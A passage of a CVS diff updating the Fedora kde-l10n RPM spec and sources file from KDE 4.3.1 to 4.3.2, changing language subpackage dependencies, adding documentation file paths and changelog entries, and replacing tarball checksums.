 %description Greek
@@ -235,7 +232,7 @@ Greek language support for KDE
 %package Gujarati
 Summary: Gujarati language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-gu = %{version}-%{release}
 
 %description Gujarati
@@ -244,7 +241,7 @@ Gujarati language support for KDE
 %package British
 Summary: British English support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-en_GB = %{version}-%{release}
 
 %description British
@@ -253,7 +250,7 @@ British English language support for KDE
 %package Esperanto
 Summary: Esperanto support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-eo = %{version}-%{release}
 
 %description Esperanto
@@ -262,7 +259,7 @@ Esperanto support for KDE
 %package Spanish
 Summary: Spanish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-es = %{version}-%{release}
 
 %description Spanish
@@ -271,7 +268,7 @@ Spanish language support for KDE
 %package Estonian
 Summary: Estonian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-et = %{version}-%{release}
 
 %description Estonian
@@ -280,7 +277,7 @@ Estonian language support for KDE
 %package Farsi
 Summary: Farsi language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fa = %{version}-%{release}
 
 %description Farsi
@@ -289,7 +286,7 @@ Farsi language support for KDE
 %package Finnish
 Summary: Finnish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fi = %{version}-%{release}
 
 %description Finnish
@@ -298,7 +295,7 @@ Finnish language support for KDE
 %package Faroese
 Summary: Faroese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fo = %{version}-%{release}
 
 %description Faroese
@@ -307,7 +304,7 @@ Faroese language support for KDE
 %package French
 Summary: French language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fr = %{version}-%{release}
 
 %description French
@@ -316,7 +313,7 @@ French language support for KDE
 %package Frisian
 Summary: Frisian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fy = %{version}-%{release}
 
 %description Frisian
@@ -326,7 +323,7 @@ Frisian language support for KDE
 Summary: Irish language support for KDE
 Group: User Interface/Desktops
 Obsoletes: kde-i18n-Gaeilge
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ga = %{version}-%{release}
 
 %description Irish
@@ -335,7 +332,7 @@ Irish language support for KDE
 %package Galician
 Summary: Galician language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-gl = %{version}-%{release}
 
 %description Galician
@@ -344,7 +341,7 @@ Galician language support for KDE
 %package Hebrew
 Summary: Hebrew language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-he = %{version}-%{release}
 
 %description Hebrew
@@ -353,7 +350,7 @@ Hebrew language support for KDE
 %package Hindi
 Summary: Hindi language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-hi = %{version}-%{release}
 
 %description Hindi
@@ -362,7 +359,7 @@ Hindi language support for KDE
 %package Croatian
 Summary: Croatian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-hr = %{version}-%{release}
 
 %description Croatian
@@ -371,7 +368,7 @@ Croatian language support for KDE
 %package Hungarian
 Summary: Hungarian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-hu = %{version}-%{release}
 
 %description Hungarian
@@ -380,7 +377,7 @@ Hungarian language support for KDE
 %package Indonesian
 Summary: Indonesian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-id = %{version}-%{release}
 
 %description Indonesian
@@ -389,7 +386,7 @@ Indonesian language support for KDE
 %package Icelandic
 Summary: Icelandic language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-is = %{version}-%{release}
 
 %description Icelandic
@@ -398,7 +395,7 @@ Icelandic language support for KDE
 %package Italian
 Summary: Italian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-it = %{version}-%{release}
 
 %description Italian
@@ -407,7 +404,7 @@ Italian language support for KDE
 %package Japanese
 Summary: Japanese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ja = %{version}-%{release}
 
 %description Japanese
@@ -416,7 +413,7 @@ Japanese language support for KDE
 %package Kannada
 Summary: Kannada language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-kn = %{version}-%{release}
 
 %description Kannada
@@ -425,7 +422,7 @@ Kannada language support for KDE
 %package Kashubian
 Summary: Kashubian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-csb = %{version}-%{release}
 
 %description Kashubian
@@ -434,7 +431,7 @@ Kashubian language support for KDE
 %package Kazakh
 Summary: Kazakh language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-kk = %{version}-%{release}
 
 %description Kazakh
@@ -443,7 +440,7 @@ Kazakh language support for KDE
 %package Khmer
 Summary: Khmer language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-km = %{version}-%{release}
 
 %description Khmer
@@ -452,7 +449,7 @@ Khmer language support for KDE
 %package Korean
 Summary: Korean language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ko = %{version}-%{release}
 
 %description Korean
@@ -461,7 +458,7 @@ Korean language support for KDE
 %package Kurdish
 Summary: Kurdish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ku = %{version}-%{release}
 
 %description Kurdish
@@ -470,7 +467,7 @@ Kurdish language support for KDE
 %package Lao
 Summary: Lao language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-lo = %{version}-%{release}
 
 %description Lao
@@ -479,7 +476,7 @@ Lao language support for KDE
 %package Lithuanian
 Summary: Lithuanian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-lt = %{version}-%{release}
 
 %description Lithuanian
@@ -488,7 +485,7 @@ Lithuanian language support for KDE
 %package Latvian
 Summary: Latvian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-lv = %{version}-%{release}
 
 %description Latvian
@@ -497,7 +494,7 @@ Latvian language support for KDE
 %package LowSaxon
 Summary: Low Saxon language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-nds = %{version}-%{release}
 
 %description LowSaxon
@@ -506,7 +503,7 @@ Low Saxon language support for KDE
 %package Maori
 Summary: Maori language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mi = %{version}-%{release}
 
 %description Maori
@@ -515,7 +512,7 @@ Maori language support for KDE
 %package Macedonian
 Summary: Macedonian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mk = %{version}-%{release}
 
 %description Macedonian
@@ -524,7 +521,7 @@ Macedonian language support for KDE
 %package Maithili
 Summary: Maithili language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mai = %{version}-%{release}
 
 %description Maithili
@@ -533,7 +530,7 @@ Maithili language support for KDE
 %package Malayalam
 Summary: Malayalam language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ml = %{version}-%{release}
 
 %description Malayalam
@@ -542,7 +539,7 @@ Malayalam language support for KDE
 %package Maltese
 Summary: Maltese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mt = %{version}-%{release}
 
 %description Maltese
@@ -551,7 +548,7 @@ Maltese language support for KDE
 %package Marathi
 Summary: Marathi language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-mr = %{version}-%{release}
 
 %description Marathi
@@ -560,7 +557,7 @@ Marathi language support for KDE
 %package Nepali
 Summary: Nepali language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ne = %{version}-%{release}
 
 %description Nepali
@@ -569,7 +566,7 @@ Nepali language support for KDE
 %package Dutch
 Summary: Dutch language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-nl = %{version}-%{release}
 
 %description Dutch
@@ -578,7 +575,7 @@ Dutch language support for KDE
 %package NorthernSami
 Summary: Northern Sami language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-se = %{version}-%{release}
 
 %description NorthernSami
@@ -587,7 +584,7 @@ Northern Sami language support for KDE
 %package Norwegian
 Summary: Norwegian (Bokmaal) language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-no = %{version}-%{release}
 
 %description Norwegian
@@ -596,7 +593,7 @@ Norwegian (Bokmaal) language support for
 %package Norwegian-Nynorsk
 Summary: Norwegian (Nynorsk) language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-nn = %{version}-%{release}
 
 %description Norwegian-Nynorsk
@@ -605,7 +602,7 @@ Norwegian (Nynorsk) language support for
 %package Occitan
 Summary: Occitan language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-oc = %{version}-%{release}
 
 %description Occitan
@@ -614,7 +611,7 @@ Occitan language support for KDE
 %package Polish
 Summary: Polish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-pl = %{version}-%{release}
 
 %description Polish
@@ -623,7 +620,7 @@ Polish language support for KDE
 %package Portuguese
 Summary: Portuguese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-pt = %{version}-%{release}
 
 %description Portuguese
@@ -632,7 +629,7 @@ Portuguese language support for KDE
 %package Punjabi
 Summary: Punjabi language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-pa = %{version}-%{release}
 
 %description Punjabi
@@ -641,7 +638,7 @@ Punjabi language support for KDE
 %package Brazil
 Summary: Brazil Portuguese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-pt_BR = %{version}-%{release}
 
 %description Brazil
@@ -650,7 +647,7 @@ Brazil Portuguese language support for K
 %package Romanian
 Summary: Romanian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ro = %{version}-%{release}
 
 %description Romanian
@@ -659,7 +656,7 @@ Romanian language support for KDE
 %package Russian
 Summary: Russian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ru = %{version}-%{release}
 
 %description Russian
@@ -668,7 +665,7 @@ Russian language support for KDE
 %package Slovak
 Summary: Slovak language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-sk = %{version}-%{release}
 
 %description Slovak
@@ -677,7 +674,7 @@ Slovak language support for KDE
 %package Slovenian
 Summary: Slovenian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-sl = %{version}-%{release}
 
 %description Slovenian
@@ -686,7 +683,7 @@ Slovenian language support for KDE
 %package Serbian
 Summary: Serbian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-sr = %{version}-%{release}
 
 %description Serbian
@@ -695,7 +692,7 @@ Serbian language support for KDE
 %package Swedish
 Summary: Swedish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-sv = %{version}-%{release}
 
 %description Swedish
@@ -704,7 +701,7 @@ Swedish language support for KDE
 %package Tamil
 Summary: Tamil language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ta = %{version}-%{release}
 
 %description Tamil
@@ -713,7 +710,7 @@ Tamil language support for KDE
 %package Tajik
 Summary: Tajik language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-tg = %{version}-%{release}
 
 %description Tajik
@@ -722,7 +719,7 @@ Tajik language support for KDE
 %package Thai
 Summary: Thai language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-th = %{version}-%{release}
 
 %description Thai
@@ -731,7 +728,7 @@ Thai language support for KDE
 %package Turkish
 Summary: Turkish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-tr = %{version}-%{release}
 
 %description Turkish
@@ -740,7 +737,7 @@ Turkish language support for KDE
 %package Ukrainian
 Summary: Ukrainian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-uk = %{version}-%{release}
 
 %description Ukrainian
@@ -749,7 +746,7 @@ Ukrainian language support for KDE
 %package Venda
 Summary: Venda language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ven = %{version}-%{release}
 
 %description Venda
@@ -758,7 +755,7 @@ Venda language support for KDE
 %package Vietnamese
 Summary: Vietnamese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-vi = %{version}-%{release}
 
 %description Vietnamese
@@ -767,7 +764,7 @@ Vietnamese language support for KDE
 %package Walloon
 Summary: Walloon language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-wa = %{version}-%{release}
 
 %description Walloon
@@ -776,7 +773,7 @@ Walloon language support for KDE
 %package Xhosa
 Summary: Xhosa (a Bantu language) support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-xh = %{version}-%{release}
 
 %description Xhosa
@@ -785,7 +782,7 @@ Xhosa (a Bantu language) support for KDE
 %package Chinese
 Summary: Chinese (Simplified Chinese) language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-zh_CN = %{version}-%{release}
 
 %description Chinese
@@ -794,7 +791,7 @@ Chinese (Simplified Chinese) language su
 %package Chinese-Traditional
 Summary: Chinese (Traditional) language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-zh_TW = %{version}-%{release}
 
 %description Chinese-Traditional
@@ -875,6 +872,10 @@ rm -rf %{buildroot}%{_kde4_docdir}/HTML/
 %clean
 rm -rf %{buildroot}
 
+
+%files
+# empty
+
 %if %{buildall}
 %files Afrikaans
 %defattr(-,root,root)
@@ -1041,6 +1042,7 @@ rm -rf %{buildroot}
 %defattr(-,root,root)
 %lang(eu) %{_datadir}/locale/eu/LC_MESSAGES/*
 %lang(eu) %{_datadir}/locale/eu/entry.desktop
+%lang(eu) %{_kde4_docdir}/HTML/eu
 
 %if %{buildall}
 %files Farsi
@@ -1105,6 +1107,7 @@ rm -rf %{buildroot}
 %lang(he) %{_datadir}/locale/he/LC_MESSAGES/*
 %lang(he) %{_datadir}/locale/he/entry.desktop
 %lang(he) %{_kde4_appsdir}/klettres/he
+%lang(he) %{_kde4_docdir}/HTML/he
 
 %files Hindi
 %defattr(-,root,root)
@@ -1115,6 +1118,7 @@ rm -rf %{buildroot}
 %defattr(-,root,root)
 %lang(hr) %{_datadir}/locale/hr/LC_MESSAGES/*
 %lang(hr) %{_datadir}/locale/hr/entry.desktop
+%lang(hr) %{_datadir}/locale/hr/LC_SCRIPTS
 
 %files Hungarian
 %defattr(-,root,root)
@@ -1210,6 +1214,7 @@ rm -rf %{buildroot}
 %lang(nds) %{_kde4_appsdir}/ktuberling/sounds/nds*
 %lang(nds) %{_kde4_appsdir}/katepart/syntax/logohighlightstyle.nds.xml
 %lang(nds) %{_kde4_appsdir}/kturtle/examples/nds
+%lang(nds) %{_kde4_docdir}/HTML/nds
 
 %files Latvian
 %defattr(-,root,root)
@@ -1324,6 +1329,7 @@ rm -rf %{buildroot}
 %lang(pl) %{_kde4_appsdir}/khangman/pl.txt
 %lang(pl) %{_kde4_appsdir}/kvtml/pl
 %lang(pl) %{_kde4_docdir}/HTML/pl
+%lang(pl) %{_mandir}/pl/*/*
 
 %files Portuguese
 %defattr(-,root,root)
@@ -1495,7 +1501,14 @@ rm -rf %{buildroot}
 %lang(zh_TW) %{_datadir}/locale/zh_TW/entry.desktop
 %lang(zh_TW) %{_kde4_docdir}/HTML/zh_TW
 
+
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-3
+- main virtual subpkg
+
 * Sat Sep 05 2009 Than Ngo <than at redhat.com> - 4.3.1-2
 - add missing Croatian localization
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kde-l10n/F-12/sources,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- sources	4 Sep 2009 23:05:27 -0000	1.33
+++ sources	6 Oct 2009 12:45:50 -0000	1.34
@@ -1,57 +1,57 @@
-c8c1693b21bb3bde8903247288fd3859  kde-l10n-ar-4.3.1.tar.bz2
-fdc30435d4ac28b6113e9add14d728f3  kde-l10n-bg-4.3.1.tar.bz2
-c95e4fbb0ef37dfebedb7e0df62c9683  kde-l10n-bn_IN-4.3.1.tar.bz2
-18cf7a34ce6d7ffa4c38a56cb17e0fbb  kde-l10n-ca-4.3.1.tar.bz2
-bf81e4c48b250d3c8f1ecbfb80377a59  kde-l10n-csb-4.3.1.tar.bz2
-62d5a25f8f3cc2b2004525ecd69716a8  kde-l10n-cs-4.3.1.tar.bz2
-ec96cfdb8516e4d2db83a65bf403a421  kde-l10n-da-4.3.1.tar.bz2
-d379f16c94661c8068b068f8f58d1d40  kde-l10n-de-4.3.1.tar.bz2
-8ac584b59a437082a57e7be3d473f90e  kde-l10n-el-4.3.1.tar.bz2
-6968cf5e2a49aa21758115051c5f4940  kde-l10n-en_GB-4.3.1.tar.bz2
-31b3f07ce55dc8aae6bec971f338bcf3  kde-l10n-es-4.3.1.tar.bz2
-0dae18323c2c4ea560fd7bc25ecddffb  kde-l10n-et-4.3.1.tar.bz2
-eecc074d5328fb1429a9d1ac36bf96f0  kde-l10n-eu-4.3.1.tar.bz2
-34bd78b5686ab86335b2074468a95822  kde-l10n-fi-4.3.1.tar.bz2
-f6479abd82fafc1b32660d724a20cd35  kde-l10n-fr-4.3.1.tar.bz2
-e61c44e6f25efc33c02b1af0fc61076b  kde-l10n-ga-4.3.1.tar.bz2
-9104d134a008c1a0e610084139768a27  kde-l10n-gl-4.3.1.tar.bz2
-3134ea1fa9069e735ae884ec53ff51fa  kde-l10n-gu-4.3.1.tar.bz2
-e7c36e7bfac29b6f35e5f9f595bd3fee  kde-l10n-he-4.3.1.tar.bz2
-e6ef88ac651f31527fde274030fe29ae  kde-l10n-hi-4.3.1.tar.bz2
-f535c3f52fe6fd6dd62f47cf3b050c72  kde-l10n-hu-4.3.1.tar.bz2
-1ffcfc820005647e0a005e263a9f1805  kde-l10n-is-4.3.1.tar.bz2
-66db81f855de8c62c077361dab4eeb1c  kde-l10n-it-4.3.1.tar.bz2
-15e9b5a45a6236139342151e2a80b6cc  kde-l10n-ja-4.3.1.tar.bz2
-7673863d17d0c8b959eff3e8cef7eb5c  kde-l10n-kk-4.3.1.tar.bz2
-1edb34c62a7267f2e0ab221f16c87f97  kde-l10n-km-4.3.1.tar.bz2
-f9d545f3adbf0917dce523555319d6cd  kde-l10n-kn-4.3.1.tar.bz2
-a1bc1560b7c20d2e1bd9e3004b2a75f7  kde-l10n-ko-4.3.1.tar.bz2
-8e471b1e2af1c6cf4ee2c94fe0e61068  kde-l10n-ku-4.3.1.tar.bz2
-f22f07e005140407de1c91f5e8c6b014  kde-l10n-lt-4.3.1.tar.bz2
-870daf8a524c2540bf68b7db0a40b418  kde-l10n-lv-4.3.1.tar.bz2
-16ab057fbe49091a1b1b165c68748c63  kde-l10n-mai-4.3.1.tar.bz2
-225c1583a846661569e43073164de493  kde-l10n-mk-4.3.1.tar.bz2
-2098d129f0f337436ddfa8deec1fb01a  kde-l10n-ml-4.3.1.tar.bz2
-f9fb45491de0c96399cd0032939b051b  kde-l10n-mr-4.3.1.tar.bz2
-7c61e71082eb4f5ac795a7de4b7d2901  kde-l10n-nb-4.3.1.tar.bz2
-c6ad03ce2427d9729ff4cd64c6451ade  kde-l10n-nds-4.3.1.tar.bz2
-0a8a5be7c7c8810a46c19b4c164e6c53  kde-l10n-nl-4.3.1.tar.bz2
-20bf0fadb09e63d24f8032ac873e8bbc  kde-l10n-nn-4.3.1.tar.bz2
-b40dd8e5a6cf56b8cce539ffa1d0bcc7  kde-l10n-pa-4.3.1.tar.bz2
-695910cebb609f309a5f9d3e8ddbb9d6  kde-l10n-pt_BR-4.3.1.tar.bz2
-57437289c3e058f44e60fb8fa452445d  kde-l10n-pt-4.3.1.tar.bz2
-3526fd6b5c1700aad12a3c13e67d2758  kde-l10n-ro-4.3.1.tar.bz2
-656297b8627cf9bc1db089654c674d32  kde-l10n-ru-4.3.1.tar.bz2
-b096baa157d4bcf5f01f8a6d5a1ee405  kde-l10n-sk-4.3.1.tar.bz2
-f1019fbba6989d90b3512bab1bb3a436  kde-l10n-sl-4.3.1.tar.bz2
-08835b959267532a05de9805ff07935a  kde-l10n-sr-4.3.1.tar.bz2
-02168b49698842860329b3de9ff19487  kde-l10n-sv-4.3.1.tar.bz2
-1eb1ca133761be4ff4ce3d0e7f256c97  kde-l10n-tg-4.3.1.tar.bz2
-555af7ceff07e1aaa15f7e0c2a8cf2cc  kde-l10n-th-4.3.1.tar.bz2
-f705391dccc8557e0d9b874c0c2d3597  kde-l10n-tr-4.3.1.tar.bz2
-6bafe18044438254e118bb97319bff6d  kde-l10n-uk-4.3.1.tar.bz2
-8647f0ac0335a6894d39e0fb93bc3af5  kde-l10n-wa-4.3.1.tar.bz2
-44f8d8587820c9e206ff1e2cccf6f8bf  kde-l10n-zh_CN-4.3.1.tar.bz2
-2cb73314fdb32800bcd254bd84ed45c8  kde-l10n-zh_TW-4.3.1.tar.bz2
-7c341ebe674c954ca3e507545953a49b  kde-l10n-pl-4.3.1.tar.bz2
-7aace91ae8acd9333541eeed5438e45a  kde-l10n-hr-4.3.1.tar.bz2
+845a87a6fb8e274b9faf2b3e8ae05145  kde-l10n-ar-4.3.2.tar.bz2
+3330acdacb9ea687b3c883c5e175f3d7  kde-l10n-bg-4.3.2.tar.bz2
+3a646527d0d0a403797099787c987d12  kde-l10n-bn_IN-4.3.2.tar.bz2
+0df7312f62deabb6231135bc33f11f7a  kde-l10n-ca-4.3.2.tar.bz2
+d80aa0c3f1ff780328d3ac482da5d5aa  kde-l10n-csb-4.3.2.tar.bz2
+5e8218126b5529e6198a8fc4677ab2ed  kde-l10n-cs-4.3.2.tar.bz2
+5cd8285c55d39c0d74f74bdda3634f69  kde-l10n-da-4.3.2.tar.bz2
+af19e1c28b6cb27ae6928f9080ff67bc  kde-l10n-de-4.3.2.tar.bz2
+0f23ad4490306b55e2382883a3d03fae  kde-l10n-el-4.3.2.tar.bz2
+82fcc17d3927235cff6c683b12bfc46c  kde-l10n-en_GB-4.3.2.tar.bz2
+997dd53c79aceea07ba1f46b81edb1f3  kde-l10n-es-4.3.2.tar.bz2
+7528c8189ed344e129ca87474c908d7b  kde-l10n-et-4.3.2.tar.bz2
+c313a881d5d4275e78da42624c7d2b72  kde-l10n-eu-4.3.2.tar.bz2
+9bfd2944045e87b005f6c67e6f70b228  kde-l10n-fi-4.3.2.tar.bz2
+ef7f3a2bcc29b31af739265a70cd01e2  kde-l10n-fr-4.3.2.tar.bz2
+2763e1ad527205160997684e8fdba0a0  kde-l10n-ga-4.3.2.tar.bz2
+a8056265e3838efca737abd6986718be  kde-l10n-gl-4.3.2.tar.bz2
+592322e3f755067c9bff960fb96948e2  kde-l10n-gu-4.3.2.tar.bz2
+02d68df9f8717d277a384b15d372aeed  kde-l10n-he-4.3.2.tar.bz2
+bc4225d8eeb2c648354eec1a79bb3558  kde-l10n-hi-4.3.2.tar.bz2
+2628f02cb3e1fd20d678437101470645  kde-l10n-hr-4.3.2.tar.bz2
+3ccdb46e3005bde325c45334d0073470  kde-l10n-hu-4.3.2.tar.bz2
+900a15881c7377f7921bbb0df3caf729  kde-l10n-is-4.3.2.tar.bz2
+3cfbb949b349a906f57def2c89f2c2ae  kde-l10n-it-4.3.2.tar.bz2
+1ca9a0e6f75ef439b1dc88d7c296a8a3  kde-l10n-ja-4.3.2.tar.bz2
+791fb8901976bbc36b39ec2b2d7f6029  kde-l10n-kk-4.3.2.tar.bz2
+81715c650925f13710a8d1b392bebe12  kde-l10n-km-4.3.2.tar.bz2
+042925c6ed9cadc79724bee269ee0f65  kde-l10n-kn-4.3.2.tar.bz2
+7d647e695d3d2876a7e13505b031d5db  kde-l10n-ko-4.3.2.tar.bz2
+15780380183dc634432a5ccb8ec2d64d  kde-l10n-ku-4.3.2.tar.bz2
+38f82eed9070bbeabdb51a4896b9d163  kde-l10n-lt-4.3.2.tar.bz2
+65ee66d320e3ebaff80ceb99b1bad57f  kde-l10n-lv-4.3.2.tar.bz2
+e640d6641063ea5d456e0d7cebec1076  kde-l10n-mai-4.3.2.tar.bz2
+9b766deb486b27d1352a74692080bd75  kde-l10n-mk-4.3.2.tar.bz2
+f67feb93c8623950e764e2462797194c  kde-l10n-ml-4.3.2.tar.bz2
+d5bce17fb1035cd120c9ae010210ddf9  kde-l10n-mr-4.3.2.tar.bz2
+8c0546118de40edb0f1bc94cc039b5b6  kde-l10n-nb-4.3.2.tar.bz2
+85b56e0f003c1120ff594cc5c15be857  kde-l10n-nds-4.3.2.tar.bz2
+dcfae722fdffbf206f1eca58351929b8  kde-l10n-nl-4.3.2.tar.bz2
+ab6bdb6c5f24a94854d3d86f53719ec8  kde-l10n-nn-4.3.2.tar.bz2
+c59e70fc4a903465e5c249001d0da9a9  kde-l10n-pa-4.3.2.tar.bz2
+cbfce0042af8a9990da704d1235482dc  kde-l10n-pl-4.3.2.tar.bz2
+4816f831c718dc5ec46aa2061e426b6c  kde-l10n-pt_BR-4.3.2.tar.bz2
+f4bbea70d7b3b4ddfe35da223bd0d71d  kde-l10n-pt-4.3.2.tar.bz2
+d2ce5f6159812a46be8bd90450a40d67  kde-l10n-ro-4.3.2.tar.bz2
+a305436d6b05dcd7c50df6fa9da57797  kde-l10n-ru-4.3.2.tar.bz2
+e991a942e6257151bea80f79e23c376d  kde-l10n-sk-4.3.2.tar.bz2
+b8ff0a9ff8e57a7d4b569e0447870604  kde-l10n-sl-4.3.2.tar.bz2
+928477630a257358e96bf8952cd1afd1  kde-l10n-sr-4.3.2.tar.bz2
+214f1215d14173a48513ccb89562c9e0  kde-l10n-sv-4.3.2.tar.bz2
+c9d0fad8838646d324390d60ff61ae3f  kde-l10n-tg-4.3.2.tar.bz2
+3dd5b9046b73cca4969b5b7c13538a8c  kde-l10n-th-4.3.2.tar.bz2
+bc4b5a8f76ec00860b31e0cb487ec675  kde-l10n-tr-4.3.2.tar.bz2
+cdaa98c18c7c484fa1133e35e188f18d  kde-l10n-uk-4.3.2.tar.bz2
+dfee77469f5a35e1eb464c162ae0c085  kde-l10n-wa-4.3.2.tar.bz2
